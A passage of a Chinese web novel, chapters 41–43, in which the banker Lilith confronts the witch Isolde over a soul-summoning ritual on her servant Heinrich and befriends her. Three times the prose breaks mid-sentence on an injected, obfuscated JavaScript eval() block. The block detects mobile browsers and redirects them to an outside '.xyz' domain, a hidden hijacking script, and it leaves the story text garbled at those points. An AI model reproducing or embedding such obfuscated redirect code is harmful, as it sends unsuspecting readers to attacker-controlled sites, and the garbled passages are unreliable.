“无论是种田还是烹饪,都不过是我一个人在这里的时候无事可做,打发时间的法子罢了。”伊索尔德苦笑着谦虚道,转而将目光投向海因里希,“还好现在特里斯坦回来陪我了,我再也不会孤单一个人了。” 海因里希尴尬地笑了笑,仍旧是不知道该怎么接话。他这才意识到自己的演技似乎远没有他之前想象得那么好。莉莉斯见状,立刻接上话头将对话继续了下去。 “您还没有告诉我您与海……特里斯坦先生的爱情故事,我等不及想要洗耳恭听呢!” “这是很久很久以前的故事了,是我还年轻时的故事。”伊索尔德的脸上浮现出甜蜜的笑容,“我的父亲是图林根的雷乌斯伯爵。出生于我这样的家族,注定是与另外一个贵族家庭联姻的结局。由于是家族中不受重视的第三女,我很早便被指婚给了意大利的阿尔塔伯爵,即使我从未见过他,而他已经娶过三任妻子,比我大四十多岁。” 莉莉斯倒吸一口冷气,十分同情地看向伊索尔德。她完全能够理解这种被家族安排嫁给陌生人的心情。在伊索尔德疲惫的脸上她仿佛看见了另一个世界线里没有选择杀死未婚夫的自己。她的孤独、她对所爱之物的偏执与疯狂突然都有了解释。只不过……阻止莉莉斯结婚的动机是事业与独立,而阻止伊索尔德的是她与另一个男人的爱情,这部分是莉莉斯所不敢苟同的。 “特里斯坦是在我父亲手下工作的骑士。他从小和我一起长大,却在我即将出嫁时不得不投入战争。我原本想以身殉情抵抗父亲让我嫁给阿尔塔伯爵的指令。但特里斯坦答应过我,他一定会来找我,和我在一起,无论过去多久,无论我在哪里。 “所以我才决定无论如何都要要活下来,孤身一人嫁到举目无亲的意大利,在这座幽深的城堡中等着,一等就等了十几年。现在特里斯坦终于回来了。他不仅是一名最英俊、最勇敢的骑士,也是我至死不渝的恋人。” 伊索尔德含情脉脉地望着她眼中的“特里斯坦”,目光坚定,没有一丝迟疑,仿佛她面前的正是回忆中完美的恋人。莉莉斯感到难以置信。尽管她也不清楚海因里希的确切年龄,但她知道他很年轻,不过也就是十几岁的年纪,怎么也不可能是与伊索尔德在十几年前私定终生的爱人。让她如此笃定的原因到底是什么?还是说她其实也在揣着明白装糊涂,那她这么做的理由又是什么呢? “那可真是太好了。我很高兴能见证到你们终于重逢。只不过,我所认识的这个人他的名字是海因里希,是我名下银行的一名会计师。我从未听他提起过他作为‘特里斯坦’的往事,这又是怎么一回事呢?”莉莉斯决定不再绕弯子,试探性地直接提出了疑问。 41.逢场作戏的誓言 伊索尔德的脸一瞬间阴沉了下来。她顿了顿,清清嗓子,举起餐刀狠狠捅进面前盘中的红酒慢炖小羊排。 “或许是他在残酷的战争中遭遇了不幸的伤痛,导致他忘记了从前发生的事情,忘记了自己真正的身份。但是不要紧,特里斯坦已经回来了,从今往后他都是我的特里斯坦,只会是特里斯坦。” “原来是这样。”莉莉斯发现对方嘴里问不出来什么有用的信息,只好顺着她的话说下去。 “也就是说,特里斯坦无法与您一起回威尼斯去了,因为他得留在这里陪我。”伊索尔德严肃声明道,“至于他对您的商业活动造成的所有损失,我都会为您赔付的。我还会承担您在我的城堡中养伤的一应生活花销,直到您伤好,再为你准备上好的良驹送您离开。” “那可真是太感谢您啦。哈哈哈哈哈,特里斯坦,有这么一位美丽而富有的妻子可真是你的荣幸啊!” 莉莉斯假笑着附和道。她用余光扫过海因里希,却看见对方正睁大着眼睛,用受了委屈般楚楚可怜的眼神盯着自己看。 或许是伊索尔德也注意到了海因里希写满不情愿的表情,她站起身走向他,招呼希尔德为他们撤掉主菜,在“特里斯坦”的面前端上她特制的甜品。她一袭黑裙的身影遮住窗外映在海因里希身上的光,使他陷进了幽暗的阴影。 随后她弯下腰,从椅子背后搂住他的脖颈,用最温柔的声音对她幻想中的恋人说: “我会在城堡中举行盛大的婚礼,让您成为我名正言顺的新郎。您将享有我的一切财富、地位与荣耀;您会主宰我的城堡,成为这里的领主,掌控我所拥有的一切——而我只有一条请求,唯一的一条请求,永远,永远陪在我身边。” 伊索尔德用银质的勺子挖开包裹着白色翻糖的小蛋糕,红色的浆果酱汁像鲜血般涌出来。她轻轻地舀起那块柔软的蛋糕,送到海因里希的嘴边。 “谢谢你的好意,伊索尔德。但我现在实在太困,太辛苦了,我可以先去睡觉吗?”海因里希十分突兀地给予伊索尔德一个不置可否的回答,“等我醒来之后,我会好好与您商量这件事的。” “哦,是我的错。我忘了你还没有好好休息。”伊索尔德略有些尴尬地放下勺子回到自己的座位上,神情黯然,“希尔德,送二位去他们的房间吧。哦对了,洛伦佐先生,我给您的药,现在可以喝了。” 猩红的眼睛望进莉莉斯的绿眸里。莉莉斯当着她的面将药剂倒在甜品勺上,一饮而尽。 饭后,希尔德为海因里希和莉莉斯安排了两间相邻的客房。许久没有人住过,即使经过打扫却还是有一股陈年累月的霉味在角落里暗自发酵。一束灰白色的光透过斑斓树影照进房间里,莉莉斯静静坐在椅子上,等着海因里希敲响她的房门。 “进来。” 海因里希心照不宣地锁上门,单膝跪在地上,为他的女主人解开皮靴的鞋带。突然,毫无征兆地,莉莉斯抬起腿,一脚踩在海因里希的脸上,鞋底上的泥土与血污蹭脏了他雪白的皮肤。 “说说看吧,你还有什么惊喜是我不知道的?”莉莉斯双手抱胸,冷着脸凝视他,“枉我一直如此信任你,为什么要对我有所隐瞒。” 海因里希瞒着莉莉斯的事儿有点太多了。他微微愣神,才反应过来她说的是刚刚发现了他会德语的那件事。 “海因里希,你到底是谁?是伊索尔德私定终身的情人,还是施密德尔家派来监视我的奸细?” 海因里希轻轻握住莉莉斯的脚腕,将她的鞋子捧在手心里,委屈地跪在地上低下头。 “夫人,我就是海因里希……从您赐给我这个名字的那一刻起,我就只有这一个身份,就只是一条任您差遣的狗而已。我对您绝无欺骗,也并非刻意隐瞒……之所以没有告诉您我会德语,只是因为我害怕您……因为联想到您那位死去的丈夫而不开心。” “我都已经给你起了同他一样的名字了,难道我会介意提起他吗?”莉莉斯半信半疑地挑眉。 “您虽然不介意,实际上却还是在噩梦中呼唤他的名字,不是吗。夫人,我只是不希望您难过。我对您一片忠心耿耿,请您相信我。” 海因里希楚楚可怜地抬起头,从下往上仰视着莉莉斯,眼睛里仿佛噙着泪水。 “要我相信你?我就算不相信又怎样呢。反正你的‘初恋情人’都已经要将她的领地与财富全部当作结婚礼物送给你,你何必还要跟着我受累受苦呢。” 莉莉斯即使心中已经基本上被他说服,嘴上却还是不饶人地继续讥讽。她喜欢看海因里希跪在地上乞求她的样子,喜欢故意玩弄他,喜欢自己在使他求而不得时心脏怦怦直跳的感觉。只有完全掌控他才能令她安心。 “夫人……莉莉安娜夫人……莉莉斯……求求您,不要赶我走。” “跟了这位对你情有独钟的有钱寡妇,岂不是可以少奋斗二十年吗?为什么一定要跟着我呢?我总差遣你做各种脏活累活,对你又不好。” “您对我特别好。” “再好也没有她好,像个佣人似地伺候你,还要和你结婚呢。我就算脑子被雷劈了都不会和你结婚。我不会和任何人结婚,也不会允许我手下的人和任何人结婚。” “夫人……求求您……不要赶我走……不要赶我走好不好。”海因里希突然紧紧抱住莉莉斯的小腿,声音里都带着哭腔,“是您将我从地狱般的生活中拯救出来,安排我进入银行工作,还给了我一个能够成为自由人,不断成长的工作机会。比起和一个根本不认识的人结婚,我发自内心地喜欢着我们在银行里每天挑战未知,不断成长的感觉。所以我珍视着这份事业,也希望您能够原谅我,不要离开我,继续随意使用我。” “噗。”莉莉斯没忍住笑出了声,“你现在知道我当时被逼着不得不放弃事业跟陌生男人结婚是什么感受了吧?你好歹还见到了伊索尔德,我都没见过那家伙呢。” “可我却没见过特里斯坦,扮演他还真有些难度。”海因里希见莉莉斯笑了,终于松了口气。应付莉莉斯可比应付伊索尔德难多了。 “你已经演得很好了。”莉莉斯消了气,心满意足地用手帕擦干净海因里希被自己踩脏的脸,亲昵地安慰道,“还好我看人的眼光没有错。以后也绝对不要让感情影响你在事业上的判断力,不许恋爱脑啊!” “我对她根本就没有感情。” “那对我呢?对我是什么样的感情呢?”莉莉斯借机问道。 “夫人……您是我最重要的人。” “最重要是什么意思?” “我会一直敬仰您,侍奉您,守护您,对您衷心耿耿。” “很好,这样才对嘛,乖狗。”莉莉斯愉快地伸了个懒腰,心安理得地靠在了海因里希身上,像抱着一个巨大的玩偶似地把脸埋进海因里希的胸口,“你还有很多没有完成的工作,你不可以离开我。” “遵命。”海因里希抱着她拍了拍她的背。 莉莉斯在他身上粘了一会儿,思考着什么,然后指了指浴室的方向让他抱自己过去。 “唉,真是不知道她怎么想的。”莉莉斯评论道,“她明明是一个很厉害,很有能力的女人,独自一人到异乡生活,料理方面有如此高的造诣,甚至还会巫术……为什么非要把你当作特里斯坦不可呢?咦,不过,说到巫术……你从前看到的坩埚里煮的不会其实就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123453|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是普通的蔬菜浓汤吧?那会巫术这一点可能有待考证了。” “也不是没有可能……可是她有那么多瓶瓶罐罐的药剂又是些什么?还有她给您的药,您居然真的喝下去了,您不担心她给您下毒吗?”海因里希把他的女主人轻轻放在盛着热水的浴缸旁边。 “她要是真想让我死,在饭菜里就能下毒。我喝不喝都一样。而且……喝完之后好像真的不疼了。”莉莉斯揉了揉肚子,拉上浴帘,一边脱衣服,一边冷静地分析道,“我感觉我的存在对她而言并不重要,只是随手之劳协助的一个路人罢了。她真正在乎的只有你呐,‘特里斯坦’。” “我接下来该怎么做?”隔着一层帘子,海因里希听见衣物摩擦掉落在地上的声音。 “有两个选项。第一个呢,就是你先答应她,然后趁她不备,我们一起骑马离开。”莉莉斯扶着浴缸的边缘踏进水里,“第二个呢,就是我们去搞清楚她的巫术到底是怎么回事,再当着她的面把她的幻想打碎。” “第二个选项对我们有什么好处?” “如果她愿意面对现实的话,说不定可以成为我们的新客户。如果她实在不愿意……海因里希,你应该能搞定那个女仆吧?到时候就只能硬闯了。” “只是为了一个客户而已,值得冒这么大的风险吗。” “或许还有别的理由吧。”莉莉斯把脸一起埋进水里,像鱼一样咕嘟孤独地吐了会儿泡泡,“也许这很不可理喻,但我想和她交朋友。” “交朋友…?”这话从莉莉斯嘴里说出来,海因里希确实为之一震。 “是啊。我早就说过了吧,想和一个女巫交朋友。或许她的巫术也和我一样,只是所谓正道排除异己的托辞和借口。而爱情的幻想就像是她作茧自缚的囚笼。我想拉她一把,把她拉出来。但是在此之前,海因里希,我需要你以你的生命向我发誓,你再没有其他事情瞒着我了,你再也不会欺骗我。” “我向您发誓。” “下去吧,好好休息。傍晚再来我的房间。” 城堡的另一边,伊索尔德独自走过长长的走廊,两边斑驳的墙壁上挂满了阿尔塔伯爵历代继承人与其配偶的油画肖像。许多画像由于存放时间过长,松节油已经泛黄干裂,看不清相貌。伊索尔德并不打算雇人来清理。她没有孩子,也从未打算过要帮助阿尔塔家族开枝散叶,延续往日的荣光。 从她翻开第一本束之高阁的魔法书时她就已经背叛了主,因此她从不在意自己死后的结局。但是她希望能够在活着的日子里再体验一次年轻时血脉偾张的激情,能够轰轰烈烈地爱一场。 但他不是特里斯坦。她知道。 她走到走廊最末端,看着那副金色画框里装着的自己的画像。那是她年轻时,阿尔塔伯爵派意大利画师专门到她的家乡去为她绘制的肖像。那时她的眼角还没有细碎的皱纹,她的脸上还有血色,嘴角还挂着稚气未脱的天真笑容,幻想着能够等到特里斯坦战后归来与她成婚。可是真实的他再也不会回来了,就算他真的回来了,她也早就不是从前的伊索尔德了。 可那又如何呢。剧院里粗制滥造的布景是假的,演员是愚蠢、空洞而庸俗的,但观众不还是为那些虚假的爱情而潸然落泪吗?媒介的真假根本不重要,只要情绪是真实的,爱就是真实的。她好不容易才找到一个如此相似的壳子,现在她只能再试一次,用换魂仪式让特里斯坦的灵魂安安稳稳地住进去。而她也可以在她亲手制作的玩偶的陪伴下回到二十年前,回到自己年轻的时候。 “一切都准备好了。” 希尔德的脚步声向她接近。伊索尔德回过头。 “好,那我们开始吧。” 42.推开的房门 海因里希失踪了。 莉莉斯从睡梦中惊醒的时候天已经黑了。尽管已经服用了止痛药水,腹痛有所缓解,但额头却终究还是抵不过淋了雨受凉开始发起了烧。她强撑着从床上爬起来,听见窗外还是下着连绵不绝的雨,闪电将整片天空照亮,迅速又没入黑暗,然后才是如爆炸般轰鸣而至的雷声。 她摸出打火石点燃床头柜上的蜡烛,打开海因里希的房门,发现里面一片漆黑,被子散乱地铺在床上,床单上又被压皱的折痕。她四处巡视一遍,没有找到海因里希留下的纸条或是便签。 海因里希在哪里?他之前说过的那些话,究竟是真心实意的承诺还是逢场作戏的谎言? 不安感从莉莉斯的胸口中涌出,不受控制地搅动着她嗡嗡发疼的大脑。莉莉斯突然意识到自己对海因里希的过去几乎一无所知。她以前对此并无兴趣。刚刚把这家伙买来的时候,她权当是买了一把好看的一次性匕首,用完即弃,方便又快捷。 可是海因里希与她最初想的并不一样。很明显他不是一个普通的奴隶,他有着比一般人更聪明的头脑,更强健的体魄与极高的修养。他上手银行业务的速度比她买回来的任何一个奴隶都更快,更高效,更不要说他遇到危机时的随机应变能力简直无可挑剔。 这些特质都令莉莉斯感到意外和惊喜。与他共面生死的经历也让他赢得了莉莉斯的信任。可是,当她时不时想起这不仅仅是一个一眼就能望到底的单纯奴隶之后,她会感到不安。 具有独立行动能力的仆人要给予适当的自由度才能发挥最大的价值,但这对莉莉斯而言意味着失去绝对掌控。她不得不通过别的方式逼迫海因里希代偿,即使她知道这么做或许有些恶劣,但她就是要看着他失魂落魄地跪伏在自己裙边求她的样子才能安心。 可这是真的安心吗?还是说,其实她只是像伊索尔德一样,不过是沉沦在自己创造的幻想中自我陶醉呢。 不,不一样,这当然不一样。 海因里希对莉莉斯而言是一个奴隶,一个宠物,一个为她差遣使用的工具。她想要掌控他的欲望就像骑士必须握紧剑柄。这无关情爱,而是自我实现的使命,与伊索尔德的动机有着本质性区别。 她不想放他走,不想把他交给伊索尔德,是因为她看好这一笔人力投资的未来增长,期待着未来他能够为她带来更加不可估量的巨大价值。哪怕是以慈悲为怀的神父也不可能把黄金十字架送给流浪的乞丐,她作为一个银行家,又怎么会把名下最具潜力的资产轻轻松松地拱手让人呢? 莉莉斯同样经历过孤独、被动、无助的境地,但她现在并非独自一人。她有尊重的长辈,交心的朋友与信任的下属。退一万步讲,哪怕她孤身一人,也绝不会把自我拯救的希望寄托在“爱情”这个可笑的概念上。 爱情?什么是爱情?无论是戏剧中描绘的浪漫故事,还是上流社会里每每赞许的佳偶天成都令她感到可笑。当一个人甚至还没有搞清楚自己是谁,便迫不及待地要遵从身体本能的欲望去与另一个人结合,去繁衍根本不知道该怎么哺育的后代,还要把这种无头苍蝇般误打误撞的关系形容得至高无上,难道不可笑吗? 或许这也是为什么莉莉斯想要去戳破伊索尔德的幻想。伊索尔德优雅、善良、好客,美好的壳子下透着令人兴奋的诡异和虚伪,孕育着一些未知的恶的果实——这令莉莉斯感觉,或许她们是一类人,在用世俗观念中的恶行对抗着压迫她们的世界。她几乎可以确信伊索尔德爱的并不是真实的特里斯坦,而是一个模糊的概念。被那柔软而脆弱的泡沫所包裹的,究竟是什么东西?这才是莉莉斯想知道的答案。 凭空想象无法解谜,莉莉斯只好举起烛台,在幽暗的古堡中独自漫步。 她试探性地呼唤了伊索尔德和海因里希的名字,没有任何回应。尽管深不见底的走廊中透着阴森可怖的气息,但这也是莉莉斯探索这座古堡的秘密的绝佳时刻。 她拖着沉重的身体推开第一扇房门。发现是昨天进来时首先被带去会面的会客厅。巨幅画像上的阿尔塔伯爵正皱着眉头审视她,怒目圆睁的表情仿佛是想要把这位不怀好意的外来者扫地出门。莉莉斯关上门,继续往走廊伸出走去。 她又打开一扇装饰相同的门,进去发现是一间类似的会客室,只是地上铺满了灰尘,仿佛很久没有使用过了。墙上的书架上摆满了书,甚至有些放不满丢在了地上,只有最高层的书架上有一些空缺。莉莉斯看不懂那些文字,只能暗自感叹阿尔塔伯爵的富有。羊皮纸书价格很高,这么大的藏书若是保存完好,卖给二手书商能换来成百上千的杜卡特金币。可这里也仍旧没有人。 莉莉斯顺着旋转楼梯上了一层楼,楼梯上装饰满水晶挂坠的烛台上满是蛛丝与灰尘。她打开左手边第一扇门,发现这是一个连接着城堡露台的半开放式阳台,里面种满了各色她从未见过的奇花异草,还有风干到一半的药草框子。这就是女巫用来制药的材料来源吗?这些药草里暗藏奇香,若是投资后规模种植做成高级香水,是否会俘获上流社会女性的芳心,让她们掏钱买单呢? 莉莉斯愈发好奇,不断打开一扇又一扇的门。或许是因为整座城堡里只有伊索尔德与女仆两人居住的缘故,那些门都没有上锁。莉莉斯得以用这种不光彩的方式窥见属于伊索尔德的世界。她越来越想和这位女巫小姐坐下来好好谈谈了,直到她一步一步走上塔楼,打开了一间弥漫着药水气息的房间。 这里并不像之前的那些房间一般漆黑,天花板上高悬的烛台火光闪烁。伊索尔德和海因里希会在这里吗?她缓步走进去,看见木架上摆着好几个大小各异的玻璃瓶,瓶子里装满了啫喱状的液体,有粉白色如肉般的东西漂浮在啫喱里面。莉莉斯凑近过去一看,那是一个如手掌大的人类男胎。 莉莉斯从来没见过这种胎儿的尸体,吓得差点打翻烛台。她回想起那个帕多瓦的翻译丹特所提到过的古老传说,女巫憎恨人类,因此将初生的婴儿残忍吞食,连她人腹中尚未生出来的孩子都不放过。难道伊索尔德真的是女巫吗?她到底想要做什么? 莉莉斯正想立刻转头离开这里,却突然意识到不远处正有人唱歌。那是很低的女声,有些沙哑,正用莉莉斯听不懂的语言唱着某种曲调诡谲的歌。过了一会儿她才意识到那是伊索尔德没有故意夹嗓子说话的声音。 莉莉斯踌躇片刻,决定还是又害怕又好奇地继续向前,透过厚重门帘间的间隙她看见内室的地上用血色的墨水画着一张巨大的法阵,伊索尔德披散着一头白发在法阵边上唱颂咒语,而海因里希正紧闭双眼躺在那个阵法的中心。他的嘴巴微张,像是陷入了昏迷。 莉莉斯屏住呼吸,一种非理性的情绪,一种本能的冲动重重地推了她一把,推着她掀开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136729|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘子跑了进去。她自己都没有反应过来自己为什么要这么做,就已经张开双臂挡在了伊索尔德与海因里希中间。 “你过来干什么?”伊索尔德怒目圆睁,“你想做什么!” “这句话应该我来问你吧。”莉莉斯披散着头发,虽然仍旧穿着男装,却放弃了再伪装是男性,用自己本身的声音问她:“你在对海因里希做什么。” “我本来没有想要害你,打算让你活着走出森林。”伊索尔德也不再矫饰自己的嗓音,“可是既然你闯进来见证了这一切,我就不得不……” “伊索尔德。”莉莉斯突然对她伸出右手,“我真实的名字是莉莉安娜·克纳罗,我是一名来自威尼斯的银行家。我曾经也被指认为女巫,所以我想和你做朋友。” “朋友…?我不需要朋友。只要特里斯坦回来……我就再也不会孤单了。你果然是他的女人,你其实只是想把我从他身边抢走而已!” “你错了。我是他的女主人。他是我买来在我手下工作的奴隶。”莉莉斯一步一步向伊索尔德逼近,走到她面前居高临下地盯着她,“你自己心里清楚他并不是你的特里斯坦。你根本就不了解他是一个什么样的男人,和他在一起你不会获得快乐。” “不试试看又怎么知道,要不是你冲进来破坏了我的魔法,召魂仪式即将完成,特里斯坦就会回到我的身边!” “好吧。”莉莉斯顿了顿,转身就走,“那你继续吧。” “喂!”伊索尔德楞在原地叫住了她,“你到底想要干什么!” “只有试了,你才知道你的魔法是否能够成功不是吗?”莉莉斯笃定地说,“你继续吧,我不打扰你。因为我不相信你的魔法能够成真。” “什么?” “你在我来之前,应该已经对他施展过一次你的魔法了吧。”莉莉斯一边说着一边扫视着伊索尔德放在法阵旁边的药水。 “是的,所以他记起来了,他是特里斯坦!他的一部分灵魂已经住了进去,只要再进行一次……” “错。那只不过是海因里希在跟你演戏。如此拙劣的技法都能骗到你,是因为你被自己的幻想蒙住了眼睛。” “我根本不在乎!假的又怎么样,就算是假的都比根本没有强……”伊索尔德歇斯底里地大喊。 莉莉斯却突然张开双臂,将伊索尔德抱在了自己的怀里。 “可是你根本不需要这么做。因为你的魔法其实很厉害,你是一名非常优秀的女巫。你给我的止痛药水治好了我的痛经,帮了我很大的忙。” “那是我研究魔药学多年的心血结晶……” “所以我认为你很了不起。”莉莉斯直视着伊索尔德怒意未消的猩红色双眼,“你的成就不需要通过男人的认可来背书,你的孤独也并不需要用爱情的幻想来缓解。虚伪的特里斯坦根本配不上真正的伊索尔德。” “可是你也根本不了解真正的我。”伊索尔德突然露出了诡谲而轻蔑的笑容,“比起精心研制出止痛的良药,女巫更擅长的,是制作杀人于无形的毒药。” “是啊,我知道,所以我才对你特别感兴趣。”莉莉斯回以兴奋的笑容,两眼放光,“那个泡在玻璃罐里的孩子,是你与阿尔塔伯爵的孩子吧。你将自己的孩子堕掉,再设计害死了丈夫,遣散了他的家仆,然后独自生活在这座城堡中等待你的爱人,对不对?” 43.恶女的友谊 “你可能没有办法想象,嫁给一个比自己大四十多岁的老男人是种多么屈辱的体验。”伊索尔德深呼吸一口气,逐渐平静了下来。她推开莉莉斯,向后退了几步,坐在了一把披着兽皮的巨大椅子上,然后示意莉莉斯坐在自己旁边的小凳子上。 “如果分享这些能让你感到好一点,我愿意倾听。”莉莉斯关切地看着她。 “我……年轻的时候,原本是图灵根女子修道院学校中成绩最优秀的学生,老修女常说我若是个男的,必定能有机会去往全欧洲最伟大的大学中研学。可惜,我是个女人,还出生在一个家道中落的贵族家庭。我的父母贪财心切,为了钱将我嫁到了遥远的意大利。 “十六岁时,我被送到了帕多瓦的女子修道院中学习意大利语。两年后,我嫁给了阿尔塔伯爵。他的年纪比我父亲还大,却成为了我的丈夫,纵使我那时只是个不懂事的小女孩,也免不了被恐惧与担忧所折磨,一度有了要轻生的念头。我知道,自杀是《圣经》中明令禁止的罪行。可无论我如何虔敬地向上帝祈祷,向主祈求他的慈悲,我都改变不了既定的命运。那时候,唯一曾帮助我的,只有护送我从图林根一路出发来到意大利的特里斯坦骑士而已。 “他答应我,总有一天会来找我,会带我逃离这个可怖的地方。所以我逼迫自己顺从阿尔塔伯爵,逼迫自己努力活着。那个狠毒的老男人将我囚禁在这座城堡里,不允许我与任何外界接触。我只能靠着继续爱好坚持下去,研究料理也好,种植药草也罢,还有那些挑灯夜读的寂寞夜晚,都是为了等到特里斯坦来接我的那一天的到来。 “可是有一天,我发现自己怀上了那个老男人的孩子……如果我为他生下孩子,我就会被永远囚禁在阿尔塔伯爵的家族里,成为一个为他开枝散叶、繁衍后代的工具。所以我用魔法典籍中记载的药方制作了杀死胎儿的药水,自己为自己动手术将死胎掏了出来。” 伊索尔德轻描淡写地说着。她纤细瘦弱的身躯缩在硕大的兽皮椅子里,显得十分娇小,却又无比坚毅。莉莉斯难以置信地睁大了眼睛。痛经就已经折磨得她时不时无法自理,她完全难以想象亲手破开身体取出胎儿需要多大的忍耐与决心。 她惊叹伊索尔德的智慧,也感叹她的决绝。莉莉斯自己时常宽于律己,严于律人,可伊索尔德却是对自身也无比心狠,一视同仁。 “你真的很了不起。”莉莉斯赞叹道。 “这只是迫不得已罢了。在我最痛苦,最崩溃,最脆弱的时候,就只有与特里斯坦相见的执念支撑着我……后来,事情败露,我的丈夫很生气,所以我就调配了毒药,放在饮食中将他毒杀。他豢养的仆从令我厌烦,我给了他们一笔钱,遣散了他们。他们成日无所事事,很快花完了这笔钱,因此便披上兽皮作为强盗,洗劫像你这样的行路商人,并向我承诺他们不会打扰属于我的领地中的子民。而我就带着希尔德两个人一起生活在这里,等着特里斯坦来找我。” 莉莉斯倒吸了一口冷气。她大概猜到了前半部分,但是没有料到那伙洗劫他们的强盗竟然也与伊索尔德有关联。 “可是城堡大门的钥匙已经被你掌控在你自己的手里,你根本不需要特里斯坦来带你离开。你不需要向他献出你的领地,你的荣誉与财产,你自己明明有能力执掌这一切,做得比任何男人都好。” “……” “你看,你没有反驳我,其实你自己很清楚,我说的并没有错。你根本就不需要那个幻想中的存在来指引你,也不需要一个长得像他的壳子来存放你的寄托。你自己比你想象的还要厉害,还要强大。” 伊索尔德抬起头,看向躺在阵法中心的海因里希:“但是……我仍旧想要继续完成这场召唤仪式。我为了学会绘制这种阵法学习了很久很久……如果我最后证明了我的魔法没有用,那么我会把他还给你。如果我成功了,我请你允许我把特里斯坦留在我身边。” “好。一言为定。“莉莉斯站起身,微笑着伸出手与伊索尔德握手致意,“无论结果如何,我都希望你能够知道,你烹饪的食物非常美味,你研制的药水效果极佳,你是一个很了不起的女巫。等你忙完了,我想与你分享我的故事,你愿意成为我的朋友吗?” “像我这样又糟糕又恶毒的人,也可以拥有朋友吗?”伊索尔德颤抖着握住她的手。 “当然可以了,因为我们是一样的人。”莉莉斯自信地笑着,“而且,我们再坏,能坏得过我们身边的那些男人吗?如果你真的是十恶不赦的坏人,又怎么会好心拯救迷失在森林中的我呢?你其实很善良。” “莉莉斯……”从来没有人对她说过这样的话,伊索尔德双眼含泪,感动得快要哭出声。 “你等着,等我回了威尼斯就给你写信,请你到我的家里来和我一起玩。我在威尼斯认识好多聪明又独立的寡妇,我们可以一起开茶话会,你会认识好多好多新朋友。” “真的吗……?” “那些讨厌我的人管我叫放贷的莉莉斯,这和杀婴或堕胎一样,也是死后要下地狱的罪行。说不定我们以后还可以在地狱里继续一起玩呢。” 伊索尔德郑重地摇了摇手,第一次对莉莉斯露出一个真心实意的笑。 / 海因里希醒来的时候正躺在客房的床上。他不知道自己睡了多久,只是看见窗外天亮了,阳光很好。他连忙爬起来去敲响莉莉斯的房门,看见莉莉斯换上了一身干练的骑装,正坐在书桌前整理行囊。 “你醒来啦。”莉莉斯笑着对他说,“你还记得自己是谁吗?” “我是海因里希。” “那么,我赌赢了。”莉莉斯轻快地跳起来,扑进海因里希的怀里抱住他,却突然又像是触电了一般弹开,推开门,往伊索尔德卧室的方向跑去。 “喂!您能不能告诉我,昨晚发生了什么,我为什么睡了那么久?”海因里希急匆匆地追在她后面喊道。 “昨晚我交了这次旅途中的第一个好朋友。”莉莉斯转过身,调皮地勾起嘴角,“伊索尔德真的是一个女巫,是比我还要厉害的那种女巫。你可以不用继续演了,直接告诉她你真实的身份,你是海因里希,而我是莉莉安娜,是你的女主人。” / 等海因里希终于从两位女士的口中厘清事情的经过,顺便听她们讨论了好几个小时德国与意大利不同地区的美食与修道院学校时期的趣事之后,女仆希尔德已经为莉莉斯与他准备好了上路的行囊。 虽然那些土匪曾经是伊索尔德的家仆,但毕竟现在不再归属于她的管辖之下,伊索尔德无法为他们追回货物,只能在行李与马匹上稍作补偿。她为他们分别准备了几套干净的换洗衣物,干粮,零钱,还为同为寡妇的莉莉斯备上了一条得体的黑色蕾丝礼服,一些能够缓解痛经与发热的药物,以及一封证明二人被阿尔塔伯爵夫人所庇护的信。 临走的时候,伊索尔德握住莉莉斯的手,又递给她一个手掌大小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148990|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药瓶,里面有几粒搓成丸子的草药球。 “我从前在修道院学校里认识过一些意大利的女孩子……虽然后来和她们再也没有见过面,但是她们中的一些人曾经给我写过信,让我给她们送去这样的药。我希望你以后没有机会会用到它们……但是,以防万一,你可以拿上它们,有备而无患。”伊索尔德压低声音,踮起脚尖在莉莉斯的耳边告诉她。 “这是什么?” “是能够令孩子自然流产的堕胎药。在我最初用过的药方上改进过,不需要额外动手术就可以自然排出。我只有一个请求。不要将它拿来做伤害别人的事情,好吗?” “我向你保证。”莉莉斯笑着将伊索尔德搂紧在怀里,“谢谢你的礼物,我期待着下一次与你相见。一定要来威尼斯找我啊!” “一定会的。”伊索尔德有些不好意思地推开她,用十分抱歉的神色看向海因里希,“很抱歉强迫你扮演了那么久我的初恋情人。你的演技确实不太好,足以让我意识到我的魔法确实失败了,特里斯坦回不来了。你要好好照顾好你的女主人啊。” “嗯。”海因里希感到很尴尬。 “好了,时候不早了,你们出发吧,我们后会有期。” 莉莉斯把礼物收进口袋里,抓住缰绳,捏紧鬃毛,踩上脚蹬,终于没有依靠帮助就自己成功骑上了马。他们在这座森林中耽误了两日的行程,马车慢慢悠悠的实在赶不上,只能两人都骑马赶路,才有机会能按照计划的日子抵达苏黎世。 